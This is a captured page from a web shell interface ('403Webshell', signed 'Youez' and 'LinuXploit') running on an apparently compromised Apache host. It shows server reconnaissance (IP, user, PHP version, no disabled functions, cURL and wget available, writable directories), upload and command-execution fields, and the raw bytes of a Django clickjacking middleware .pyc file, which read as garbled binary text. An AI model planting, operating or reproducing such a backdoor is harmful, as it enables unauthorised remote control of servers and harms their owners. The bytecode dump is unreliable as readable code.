403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/django/middleware/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/django/middleware/__pycache__/clickjacking.cpython-311.pyc
�

�|�e���>�dZddlmZddlmZGd�de��ZdS)z�
Clickjacking Protection Middleware.

This module provides a middleware that implements protection against a
malicious site loading resources from your site in a hidden frame.
�)�settings)�MiddlewareMixinc��eZdZdZd�Zd�ZdS)�XFrameOptionsMiddlewarea�
    Set the X-Frame-Options HTTP header in HTTP responses.

    Do not set the header if it's already set or if the response contains
    a xframe_options_exempt value set to True.

    By default, set the X-Frame-Options header to 'SAMEORIGIN', meaning the
    response can only be loaded on a frame within the same site. To prevent the
    response from being loaded in a frame in any site, set X_FRAME_OPTIONS in
    your project's Django settings to 'DENY'.
    c��|�d���|St|dd��r|S|�||��|jd<|S)NzX-Frame-Options�xframe_options_exemptF)�get�getattr�get_xframe_options_value�headers��self�request�responses   �@/usr/lib/python3/dist-packages/django/middleware/clickjacking.py�process_responsez(XFrameOptionsMiddleware.process_responsesa���<�<�)�*�*�6��O��8�4�e�<�<�	��O�.2�.K�.K���/
�/
���*�+���c�R�ttdd�����S)a
        Get the value to set for the X_FRAME_OPTIONS header. Use the value from
        the X_FRAME_OPTIONS setting, or 'DENY' if not set.

        This method can be overridden if needed, allowing it to vary based on
        the request or response.
        �X_FRAME_OPTIONS�DENY)r
r�upperr
s   rrz0XFrameOptionsMiddleware.get_xframe_options_value's#���x�!2�F�;�;�A�A�C�C�CrN)�__name__�
__module__�__qualname__�__doc__rr�rrrrsA������
�
�
�
�
�D�D�D�D�DrrN)r�django.confr�django.utils.deprecationrrrrr�<module>rss����!� � � � � �4�4�4�4�4�4�#D�#D�#D�#D�#D�o�#D�#D�#D�#D�#Dr

Youez - 2016 - github.com/yon3zu
LinuXploit